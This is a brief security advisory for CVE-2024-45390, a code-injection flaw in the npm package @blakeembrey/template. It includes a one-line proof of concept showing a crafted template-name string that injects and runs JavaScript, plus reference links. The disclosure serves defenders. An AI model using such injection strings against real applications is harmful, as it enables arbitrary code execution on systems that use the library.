CVE-2024-45390: @blakeembrey/template vulnerable to code injection when attacker controls template input

September 3, 2024

It is possible to inject and run code within the template if the attacker has access to write the template name.

const { template } = require('@blakeembrey/template');

template("Hello {{name}}!", "exploit() {} && ((()=>{ console.log('success'); })()) && function pwned");

References

github.com/advisories/GHSA-q765-wm9j-66qj
github.com/blakeembrey/js-template
github.com/blakeembrey/js-template/commit/b8d9aa999e464816c6cfb14acd1ad0f5d1e335aa
github.com/blakeembrey/js-template/security/advisories/GHSA-q765-wm9j-66qj
nvd.nist.gov/vuln/detail/CVE-2024-45390

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